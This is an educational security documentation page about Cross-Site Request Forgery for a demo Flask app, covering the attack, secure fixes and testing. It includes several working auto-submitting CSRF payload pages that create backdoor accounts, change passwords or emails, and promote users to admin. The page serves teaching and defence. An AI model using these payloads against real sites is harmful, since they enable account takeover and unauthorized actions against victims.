Skip to main content
Educational Purpose Only - CSRF attacks can perform unauthorized actions on behalf of victims. Only test on authorized systems.

Overview

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to execute unwanted actions on a web application. In this demo, the vulnerable version lacks CSRF tokens, allowing attackers to trick users into submitting malicious requests that appear to come from the legitimate user.

Severity Rating

MEDIUM to HIGH - CVSS Score: 6.5/10CWE Reference: CWE-352: Cross-Site Request Forgery

Vulnerable Code

The vulnerable forms lack CSRF protection:
<!-- VULNERABLE: No CSRF token -->
<form method="POST">
    <div class="form-group">
        <label>Usuario:</label>
        <input type="text" name="username" required>
    </div>
    <div class="form-group">
        <label>Contraseña:</label>
        <input type="password" name="password" required>
    </div>
    <button type="submit">Entrar</button>
</form>

Why This Is Dangerous

  1. No CSRF Tokens: Forms don’t include anti-CSRF tokens to verify request origin
  2. No Origin Validation: Server doesn’t check Origin or Referer headers
  3. Cookie-Based Auth Only: Relies solely on cookies, which browsers send automatically
  4. No SameSite Attribute: Session cookies sent with cross-site requests (see vulnerable/app.py:6)
  5. State-Changing GET Requests: Some endpoints might accept GET for state changes (bad practice)

How CSRF Works

1

Victim Authenticates

User logs into the vulnerable application:
https://auth-vulnerable.onrender.com/login
Username: usuario
Password: password123
Browser stores session cookie:
Set-Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJfaWQiOjJ9...
2

Attacker Crafts Malicious Page

Attacker creates a page with hidden form:
<!-- Hosted on attacker.com -->
<!DOCTYPE html>
<html>
<head>
    <title>Free Prize!</title>
</head>
<body>
    <h1>Congratulations! You won!</h1>
    <p>Click here to claim your prize...</p>
    
    <!-- Hidden malicious form -->
    <form id="csrf-form" 
          action="https://auth-vulnerable.onrender.com/register" 
          method="POST" 
          style="display:none;">
        <input name="username" value="attacker_backdoor">
        <input name="password" value="hacked123">
        <input name="email" value="[email protected]">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>
3

Victim Visits Attacker's Page

User clicks on attacker’s link (from email, social media, etc.):
https://attacker.com/prize.html
The form auto-submits to the vulnerable site.
4

Browser Sends Authenticated Request

Browser automatically includes session cookie:
POST /register HTTP/1.1
Host: auth-vulnerable.onrender.com
Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJfaWQiOjJ9...
Content-Type: application/x-www-form-urlencoded

username=attacker_backdoor&password=hacked123&[email protected]
Server processes this as a legitimate request from the authenticated user!
5

Malicious Action Executes

The server:
  • Sees valid session cookie
  • Creates backdoor account
  • User has no idea it happened

Attack Scenarios

Attack: Create backdoor admin account
<html>
<body onload="document.forms[0].submit()">
    <form action="https://auth-vulnerable.onrender.com/register" method="POST">
        <input type="hidden" name="username" value="backdoor_admin">
        <input type="hidden" name="password" value="Secret123!">
        <input type="hidden" name="email" value="[email protected]">
    </form>
</body>
</html>
Result: Attacker gains persistent access through backdoor account
Attack: Change victim’s password
<img src="https://auth-vulnerable.onrender.com/change-password?new_password=hacked123" 
     style="display:none;">
Or with POST:
<form action="https://auth-vulnerable.onrender.com/change-password" method="POST">
    <input type="hidden" name="new_password" value="hacked123">
    <input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
Result: Attacker locks victim out of account
Attack: Change victim’s email to attacker’s email
<form action="https://auth-vulnerable.onrender.com/update-email" method="POST">
    <input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
Follow-up:
  1. Email changed to attacker’s
  2. Attacker requests password reset
  3. Reset link goes to attacker’s email
  4. Complete account takeover
Attack: Transfer funds (if this were a banking app)
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
Impact: Direct financial loss
Attack: Post spam/malware links
<form action="https://social.com/post" method="POST">
    <input type="hidden" name="content" value="Check out this amazing deal! http://malware.com">
</form>
<script>document.forms[0].submit();</script>
Result: Worm-like propagation through social network
Attack: If victim is admin, perform admin actions
<!-- Delete user -->
<form action="https://auth-vulnerable.onrender.com/admin/delete-user" method="POST">
    <input type="hidden" name="user_id" value="123">
</form>

<!-- Grant admin privileges -->
<form action="https://auth-vulnerable.onrender.com/admin/promote" method="POST">
    <input type="hidden" name="user_id" value="attacker_id">
    <input type="hidden" name="role" value="admin">
</form>
<script>
    document.forms[0].submit();
    setTimeout(() => document.forms[1].submit(), 1000);
</script>
Impact: Complete application compromise

Secure Implementation

The secure version implements CSRF protection using Flask-WTF:
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

# SECURE: Enable CSRF protection
csrf = CSRFProtect(app)

# Optional: Custom error handler
@app.errorhandler(CSRFError)
def handle_csrf_error(e):
    flash('Token CSRF inválido. Intente nuevamente.', 'danger')
    return redirect(request.referrer or '/')

How CSRF Protection Works

1

Server Generates Token

When rendering form, server generates unique CSRF token:
# Flask-WTF generates token automatically
token = generate_csrf_token()
# Example: 'ImFiYzEyMyI.YQzYtA.X8K3jH9mN2pQ1rS5vW7xY'
Token is:
  • Cryptographically signed
  • Tied to user’s session
  • Time-limited
  • Unique per session
2

Token Embedded in Form

<form method="POST">
    <input type="hidden" name="csrf_token" value="ImFiYzEyMyI.YQzYtA.X8K3jH9mN2pQ1rS5vW7xY">
    <!-- Other fields -->
</form>
Can also be in meta tag for AJAX:
<meta name="csrf-token" content="ImFiYzEyMyI.YQzYtA.X8K3jH9mN2pQ1rS5vW7xY">
3

Form Submitted with Token

POST /login HTTP/1.1
Host: auth-secure.onrender.com
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

csrf_token=ImFiYzEyMyI.YQzYtA.X8K3jH9mN2pQ1rS5vW7xY&username=admin&password=pass
4

Server Validates Token

# Flask-WTF automatically:
# 1. Extracts token from request
# 2. Verifies signature
# 3. Checks if token matches session
# 4. Validates expiration

if not validate_csrf_token(request.form.get('csrf_token')):
    abort(400, "Invalid CSRF token")
If attacker tries CSRF:
  • Their page can’t access victim’s token (same-origin policy)
  • Request fails validation
  • Attack prevented

CSRF Mitigation Strategies

Synchronizer Token Pattern:
from flask_wtf.csrf import CSRFProtect, generate_csrf

csrf = CSRFProtect(app)

# In templates
# {{ csrf_token() }}

# For AJAX requests
@app.route('/get-csrf-token')
def get_csrf_token():
    return {'csrf_token': generate_csrf()}
AJAX Usage:
// Get token from meta tag
const token = document.querySelector('meta[name="csrf-token"]').content;

// Include in AJAX request
fetch('/api/action', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRFToken': token
    },
    body: JSON.stringify(data)
});
For AJAX APIs, require custom headers:
@app.before_request
def check_custom_header():
    if request.method in ['POST', 'PUT', 'DELETE']:
        if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
            abort(403, "Missing required header")
Why this works: JavaScript can add custom headers, but CSRF attacks using forms cannot
fetch('/api/action', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
});
@app.before_request
def validate_origin():
    if request.method in ['POST', 'PUT', 'DELETE']:
        origin = request.headers.get('Origin')
        referer = request.headers.get('Referer')
        
        allowed_origins = [
            'https://auth-secure.onrender.com',
            'https://app.example.com'
        ]
        
        # Check Origin header (preferred)
        if origin:
            if origin not in allowed_origins:
                abort(403, "Invalid origin")
        # Fall back to Referer
        elif referer:
            if not any(referer.startswith(origin) for origin in allowed_origins):
                abort(403, "Invalid referer")
        else:
            # No Origin or Referer - suspicious
            abort(403, "Missing origin/referer")
Limitations: Headers can be stripped by proxies/browsers
Require password for critical operations:
@app.route('/delete-account', methods=['POST'])
def delete_account():
    # Require password confirmation
    password = request.form.get('current_password')
    
    if not verify_password(session['user_id'], password):
        flash('Contraseña incorrecta', 'danger')
        return redirect('/account')
    
    # Proceed with deletion
    delete_user(session['user_id'])
    
    return redirect('/')
Benefits: Even if CSRF bypassed, attacker needs victim’s password

Testing for CSRF

Create test HTML file:
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Test</title>
</head>
<body>
    <h1>CSRF Test Page</h1>
    
    <!-- Test vulnerable endpoint -->
    <form id="csrf-test" 
          action="https://auth-vulnerable.onrender.com/register" 
          method="POST">
        <input type="text" name="username" value="csrf_test_user">
        <input type="password" name="password" value="testpass123">
        <input type="email" name="email" value="[email protected]">
        <button type="submit">Submit CSRF Test</button>
    </form>
    
    <!-- Auto-submit test -->
    <script>
        // Uncomment to auto-submit
        // document.getElementById('csrf-test').submit();
    </script>
</body>
</html>
Testing Steps:
  1. Open vulnerable site in browser tab 1
  2. Login to create session
  3. Open test.html in browser tab 2 (same browser)
  4. Submit form
  5. Check if action succeeded (CSRF vulnerable if yes)

Real-World Examples

ING Direct (2008)

Issue: Transfer funds via CSRFAttack: Malicious page transferred money from victim’s accountImpact: Financial losses, regulatory fines

YouTube (2008)

Issue: CSRF in video actionsAttack: Worm added users as friends, favorited videosImpact: Mass spam campaign

TikTok (2020)

Issue: CSRF in account deletionAttack: Could delete any user’s accountBounty: $3,860

Tesla (2020)

Issue: CSRF in admin panelAttack: Could perform admin actionsBounty: $15,000

References

Next Steps

Related vulnerabilities:

Build docs developers (and LLMs) love